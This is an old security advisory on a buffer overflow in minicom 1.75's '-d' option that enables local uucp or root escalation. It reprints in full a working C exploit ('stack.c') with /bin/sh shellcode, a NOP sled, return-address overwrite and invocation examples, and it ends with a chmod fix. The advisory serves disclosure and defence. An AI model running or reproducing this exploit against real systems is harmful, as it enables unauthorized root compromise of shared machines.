COMMAND
usr/bin/minicom (1.75)
SYSTEMS AFFECTED
Supposedly all platforms where minicom is installed suid and/or
sgid (this one has been tested on Slackware 3.1 and RedHat 4.1).
PROBLEM
Dmitry E. Kim <jason@REDLINE.RU> reported another standard
buffer overrun vulnerability, which may sometimes lead to root
compromise (not always, not in new distributions, fortunately).
Current Slackware and current RedHat don't install minicom suid
root, only sgid/uucp, which is not *that* dangerous, BUT when you
build minicom from source, it asks you to do "chmod +s" on it.
Vulnerability in minicom allows (certain) local users to obtain
group "uucp" privileges and, in certain cases, root privileges.
According to man pages, "minicom is a communication program which
somewhat resembles the shareware program TELIX but is free with
source code and runs under most unices".
Minicom binary is usually owned by user "root" and group "uucp",
and it is "-rwxr-sr-x" or, in some old distributions,
"-rwsr-sr-x". Actually, minicom has *alot* of arbitrary size
buffers and it is really easy to overrun some of them. At least
one of these overrunable buffers is automatic -- an argument to
"-d" option of minicom is copied into 128 bytes long automatic
array. Thus, it is possible to overwrite the function return
address and to execute an arbitrary code (as usually).
If minicom is installed suid root, any user which is permitted to
use minicom can obtain root shell. If minicom is installed sgid
uucp, any minicom user can obtain uucp group privileges (please
don't think it's nothing -- at least on Slackware machines
/usr/lib/uucp is group-writeable. This means you can easily
substitute uucico/uuxqt/etc with your scripts).
As said before, this vulnerability was reported by Dmitry E. Kim.
He did some testings and came up with exploit. Below goes the
exploit for Linux. After running this, you have shell with uid=0
and euid=your_usual_uid (if minicom is suid root) and gid=uucp
egid=your_usual_gid. Getting real root and real uucp group
permissions from that is really too trivial to describe here.
---( quoting file "stack.c" )---
/* this stack overflow exploit code was written by jsn <jason@redline.ru> */
/* provided "as is" and without any warranty. Sun Feb 9 08:12:54 MSK 1997 */
/* usage: argv[0] their_stack_offset buffer_size target_program [params] */
/* generated string will be appended to the last of params. */
/* examples: stack -600 1303 /usr/bin/lpr "-J" */
/* stack -640 153 /usr/bin/minicom -t vt100 -d "" */
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdarg.h>
#define NOP 0x90
const char usage[] = "usage: %s stack-offset buffer-size argv0 argv1 ...\n";
extern code();
void dummy( void )
{
extern lbl();
/* do "exec( "/bin/sh" ); exit(0)" */
__asm__( "
code: xorl %edx, %edx
pushl %edx
jmp lbl
start2: movl %esp, %ecx
popl %ebx
movb %edx, 0x7(%ebx)
xorl %eax, %eax
movb $0xB, %eax
int $0x80
xorl %ebx, %ebx
xorl %eax, %eax
inc %eax
int $0x80
lbl: call start2
.string \"/bin/sh\"
");
}
void Fatal( int rv, const char *fmt, ... )
{
va_list vl;
va_start( vl, fmt );
vfprintf( stderr, fmt, vl );
va_end( vl );
exit( rv );
}
int main( int ac, char **av )
{
int buff_addr; /* where our code is */
int stack_offset = 0,
buffer_size = 0, i, code_size;
char *buffer, *p;
buff_addr = (int)(&buff_addr); /* get the stack pointer */
code_size = strlen( (char *)code ); /* get the size of piece of */
/* code in dummy() */
if( ac < 5 ) Fatal( -1, usage, *av );
buff_addr -= strtol( av[ 1 ], NULL, 0 );
buffer_size = strtoul( av[ 2 ], NULL, 0 );
if( buffer_size < code_size + 4 )
Fatal( -1, "buffer is too short -- %d minimum.\n", code_size + 5);
/* "this is supported, but not implemented yet" ;) */
if( (buffer = malloc( buffer_size )) == NULL )
Fatal( -1, "malloc(): %s\n", strerror( errno ) );
fprintf( stderr, "using buffer address 0x%8.8x\n", buff_addr );
for( i = buffer_size - 4; i > buffer_size / 2; i -= 4 )
*(int *)(buffer + i) = buff_addr;
memset( buffer, NOP, buffer_size/2 );
i = (buffer_size - code_size - 4)/2;
memcpy( buffer + i, (char *)code, code_size );
buffer[ buffer_size - 1 ] = '\0';
p = malloc( strlen( av[ ac - 1 ] ) + code_size + 1 );
if( !p )
Fatal( -1, "malloc(): %s\n", strerror( errno ) );
strcpy( p, av[ ac - 1 ] );
strcat( p, buffer );
av[ ac - 1 ] = p;
execve( av[ 3 ], av + 3, NULL );
perror( "exec():" );
}
---( cut line )---
Minicom also requires you to be in a minicom.users file to use it
at all, which alleviates the risk somewhat. The idea of allowing
public users of a system unrestricted access to a dialout port is
pretty dangerous so anyone using minicom would be pretty careful
about who was in that file. Anyway, you can overrun some buffers
using command line options that get processed before the
minicom.users file. Auch! Furthermore the minicom.users file
isn't checked if minicom is installed setgid instead of setuid.
SOLUTION
Quick fix, as usually -- chmod 755 `which minicom`.